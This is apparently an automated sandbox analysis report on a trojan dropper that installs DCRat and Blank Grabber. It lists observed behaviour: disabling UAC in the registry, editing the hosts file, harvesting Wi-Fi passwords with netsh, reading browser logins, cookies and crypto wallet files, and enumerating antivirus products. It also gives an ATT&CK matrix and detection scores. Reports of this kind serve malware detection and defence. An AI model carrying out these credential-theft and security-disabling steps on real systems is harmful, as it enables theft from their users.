Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\agentInto\fontsessionruntime.exe	Queries volume information: C:\agentInto\fontsessionruntime.exe VolumeInformation
Source: C:\agentInto\fontsessionruntime.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\agentInto\fontsessionruntime.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 10_2_00FDD5D4 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

10_2_00FDD5D4

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 10_2_00FCACF5 GetVersionExW,

10_2_00FCACF5

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disable UAC(promptonsecuredesktop)

Source: C:\agentInto\fontsessionruntime.exe

Registry value created: PromptOnSecureDesktop 0

Disables UAC (registry)

Source: C:\agentInto\fontsessionruntime.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA

Modifies the hosts file

Source: C:\Users\user\AppData\Local\Temp\Built.exe

File written: C:\Windows\System32\drivers\etc\hosts

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntivirusProduct

Stealing of Sensitive Information

Yara detected Blank Grabber

Source: Yara match	File source: 0000000C.00000003.2148834992.000001FCC2743000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Built.exe PID: 652, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI6522\rarreg.key, type: DROPPED

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\ls-archive.sqlite
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\3e445a25-c088-46bb-968a-82532b92e486
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file_0.indexeddb.leveldb
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets

Remote Access Functionality

Yara detected Blank Grabber

Source: Yara match	File source: 0000000C.00000003.2148834992.000001FCC2743000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Built.exe PID: 652, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI6522\rarreg.key, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	331 Windows Management Instrumentation	111 Scripting	1 DLL Side-Loading	1 File and Directory Permissions Modification	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	312 Command and Scripting Interpreter	1 DLL Side-Loading	1 Bypass User Account Control	51 Disable or Modify Tools	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	2 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	11 Process Injection	111 Deobfuscate/Decode Files or Information	Security Account Manager	58 System Information Discovery	SMB/Windows Admin Shares	1 Clipboard Data	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	221 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	21 Obfuscated Files or Information	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	221 Registry Run Keys / Startup Folder	221 Software Packing	LSA Secrets	251 Security Software Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	151 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Bypass User Account Control	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	123 Masquerading	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Modify Registry	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	151 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	11 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
6tGWMkdYv4.exe	89%	ReversingLabs	Win32.Trojan.VBinder
6tGWMkdYv4.exe	100%	Avira	TR/ATRAPS.Gen2
6tGWMkdYv4.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	100%	Avira	HEUR/AGEN.1323984
C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	100%	Avira	VBS/Runner.VPG
C:\Program Files\Microsoft\OneDrive\conhost.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	100%	Avira	HEUR/AGEN.1323984
C:\Users\user\AppData\Local\Temp\Built.exe	100%	Avira	HEUR/AGEN.1306040
C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	100%	Avira	TR/ATRAPS.Gen2
C:\Users\user\AppData\Local\Temp\B74FhMKHT4.bat	100%	Avira	BAT/Delbat.C
C:\Users\Default\SearchApp.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	100%	Joe Sandbox ML
C:\Program Files\Microsoft\OneDrive\conhost.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	100%	Joe Sandbox ML
C:\Users\Default\SearchApp.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe	88%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\bMCzMxeQsb.exe	88%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Program Files\Common Files\bMCzMxeQsb.exe	88%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Program Files\Microsoft\OneDrive\conhost.exe	88%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Program Files\Windows Multimedia Platform\bMCzMxeQsb.exe	88%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Recovery\bMCzMxeQsb.exe	88%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Users\Default\SearchApp.exe	88%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Users\user\AppData\Local\Temp\Built.exe	45%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe	89%	ReversingLabs	Win32.Trojan.VBinder
C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.Uztuby
C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Core.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.WinForms.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Microsoft.Web.WebView2.Wpf.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\.bin\mime	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\.bin\mime.ps1	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\cli.js	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\mime\src\build.js	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Newtonsoft.Json.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\WebView2Loader.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\Wpf.Ui.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-convert-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-filesystem-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-locale-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-math-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-runtime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-stdio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\api-ms-win-crt-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.dll	12%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	24%	ReversingLabs	ByteCode-MSIL.PUA.Puasson
C:\Users\user\AppData\Local\Temp\Solara.Dir\cpr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\libcurl.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\msvcp140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\ws2_32.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Solara.Dir\zlib1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	21%	ReversingLabs	Win32.PUA.Packunwan
C:\Users\user\AppData\Local\Temp\_MEI6522\VCRUNTIME140.dll	0%	ReversingLabs
